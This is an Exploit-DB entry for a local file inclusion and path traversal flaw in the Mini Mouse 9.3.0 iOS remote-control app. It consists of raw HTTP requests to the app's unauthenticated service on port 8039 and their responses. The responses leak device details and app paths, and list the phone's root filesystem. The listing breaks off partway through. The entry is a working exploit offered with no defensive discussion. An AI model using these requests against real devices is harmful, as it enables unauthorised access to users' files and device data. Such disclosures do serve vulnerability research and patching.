Exploit-DB #49747
Description: Mini Mouse 9.3.0 - Local File inclusion
Type: webapps
Platform: ios
Date: 2021-04-06
Author: gosh

Exploit:
# Exploit Title: Mini Mouse 9.3.0 - Local File inclusion / Path Traversal
# Author: gosh
# Date: 05-04-2021
# Vendor Homepage: http://yodinfo.com 
# Software Link: https://apps.apple.com/us/app/mini-mouse-remote-control/id914250948
# Version: 9.3.0
# Tested on: iPhone; iOS 14.4.2

GET /op=get_device_info HTTP/1.1
Host: 192.168.1.104:8039
Accept: */*
Accept-Language: en-TN;q=1, ar-TN;q=0.9, fr-TN;q=0.8
Connection: keep-alive
Accept-Encoding: gzip, deflate
User-Agent: MiniMouse/9.3.0 (iPhone; iOS 14.4.2; Scale/2.00)
Content-Length: 0


HTTP/1.1 200 OK
Server: bruce_wy/1.0.0
Access-Control-Allow-Methods: POST,GET,TRACE,OPTIONS
Access-Control-Allow-Headers: Content-Type,Origin,Accept
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
P3P: CP=CAO PSA OUR
Content-Type: application/json
Content-Range: bytes 0-0/-1

{
	"ret_code":	1,
	"ret_msg":	"success",
	"data":	{
		"uuid":	"7E07125B-61BE-4F12-820C-FA706C445219",
		"model":	"iPhone",
		"sys_name":	"iOS",
		"sys_version":	"14.4.2",
		"battery_state":	0,
		"battery_level":	-1,
		"memery_total_size":[PII_REDACTED],
		"device_name":	"mobile",
		"user_name":	"iPhone",
		"pwd":	"",
		"dir_user":	"/var/mobile/Containers/Data/Application/EAD2E9B4-BC2F-4FD8-9D0C-6145E7044618/Documents/Download",
		"dir_doc":	"/var/mobile/Containers/Data/Application/EAD2E9B4-BC2F-4FD8-9D0C-6145E7044618/Documents",
		"dir_desktop":	"/var/mobile/Containers/Data/Application/EAD2E9B4-BC2F-4FD8-9D0C-6145E7044618/Desktop",
		"sys_type":	3
	}
}



-------------------------------------------------------------------------------------


POST /op=get_file_list HTTP/1.1
Host: 192.168.1.104:8039
Accept: */*
Accept-Language: en-TN;q=1, ar-TN;q=0.9, fr-TN;q=0.8
Connection: keep-alive
Accept-Encoding: gzip, deflate
User-Agent: MiniMouse/9.3.0 (iPhone; iOS 14.4.2; Scale/2.00)
Content-Length: 0


HTTP/1.1 200 OK
Server: bruce_wy/1.0.0
Access-Control-Allow-Methods: POST,GET,TRACE,OPTIONS
Access-Control-Allow-Headers: Content-Type,Origin,Accept
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
P3P: CP=CAO PSA OUR
Content-Type: application/json
Content-Range: bytes 0-0/-1

{
	"ret_code":	1,
	"ret_msg":	"success",
	"data":	{
		"list":	[{
				"path":	"//usr",
				"is_local":	true,
				"is_hide":	false,
				"is_floder":	true,
				"name":	"usr",
				"name_display":	"usr",
				"file_size":	288,
				"create_time":	0,
				"update_time":	0,
				"sys_type":	3
			}, {
				"path":	"//bin",
				"is_local":	true,
				"is_hide":	false,
				"is_floder":	true,
				"name":	"bin",
				"name_display":	"bin",
				"file_size":	128,
				"create_time":	0,
				"update_time":	0,
				"sys_type":	3
			}, {
				"path":	"//sbin",
				"is_local":	true,
				"is_hide":	false,
				"is_floder":	true,
				"name":	"sbin",
				"name_display":	"sbin",
				"file_size":	544,
				"create_time":	0,
				"update_time":	0,
				"sys_type":	3
			}, {
				"path":	"//.file",
				"is_local":	true,
				"is_hide":	true,
				"is_floder":	false,
				"name":	".file",
				"name_display":	".file",
				"file_size":	0,
				"create_time":	0,
				"update_time":	0,
				"sys_type":	3
			}, {
				"path":	"//etc",
				"is_local":	true,
				"is_hide":	false,
				"is_floder":	true,
				"name":	"etc",
				"name_display":	"etc",
				"file_size":	11,
				"create_time":	[PII_REDACTED]00,
				"update_time":	[PII_REDACTED]00,
				"sys_type":	3
			}, {
				"path":	"//System",
				"is_local":	true,
				"is_hide":	false,
				"is_floder":	true,
				"name":	"System",
				"name_display":	"System",
				"file_size":	128,
				"create_time":	0,
				"update_time":	0,
				"sys_type":	3
			}, {
				"path":	"//var",
				"is_local":	true,
				"is_hide":	false,
				"is_floder":	true,
				"name":	"var",
				"name_display":	"var",
				"file_size":	11,
				"create_time":	[PII_REDACTED]00,
				"update_time":	[PII_REDACTED]00,
				"sys_type":	3
			}, {
				"path":	"//Library",
				"is_local":	true,
				"is_hide":	false,
				"is_floder":	true,
				"name":	"Library",
				"name_display":	"Library",
				"file_size":	672,
				"create_time":	0,
				"update_time":	0,
				"sys_type":	3
			}, {
				"path":	"//private",
				"is_local":	true,
				"is_hide":	false,
				"is_floder":	true,
				"name":	"private",
				"name_display":	"private",
				"file_size":	224,
				"create_time":	0,
				"update_time":	0,
				"sys_type":	3
			}, {
				"path":	"//dev",
				"is_local":	true,
				"is_hide":	false,
				"is_floder":	true,
				"name":	"dev",
				"name_display":	"dev",
				"file_size":	1395,
				"create_time":	0,
				"update_time":	0,
				"sys_type":	3
			}, {
				"path":	"//.ba",
				"is_local":	true,
				"is_hide":	true,
				"is_floder":	true,
				"name":	".ba",
				"name_display":	".ba",
				"file_size":	64,
				"create_time":	0,
				"update_time":	0,
				"sys_type":	3
			}, {
				"path":	"//.mb",
				"is_local":	true,
				"is_hide":	true,
				"is_floder":	true,
				"name":	".mb",
				"name_display":	".mb",
				"file_size":	64,
				"create_time":	0,
				"update_time":	0,
				"sys_type":	3
			}, {
				"path":	"//tmp",
				"is_local":	true,
				"is_hide":	false,
				"is_floder":	true,
				"name":	"tmp",
				"name_display":	"tmp",
				"file_size":	15,
				"create_time":	[PII_REDACTED]00,
				"update_time":	[PII_REDACTED]00,
				"sys_type":	3
			}, {
				"path":	"//Applications",
				"is_local":	true,
				"is_hide":	false,
				"is_floder":	true,
				"name":	"Applications",
				"name_display":	"Applications",
				"file_size":	3296,
				"create_time":	0,
				"update_time":	0,
				"sys_type":	3
			}, {
				"path":	"//Developer",
				"is_local":	true,
				"is_hide":	false,
				"is_floder":	true,
				"name":	"Developer",
				"name_display":	"Developer",
				"file_size":	64,
				"create_time":	0,
				"update_time":	0,
				"sys_type":	3
			}, {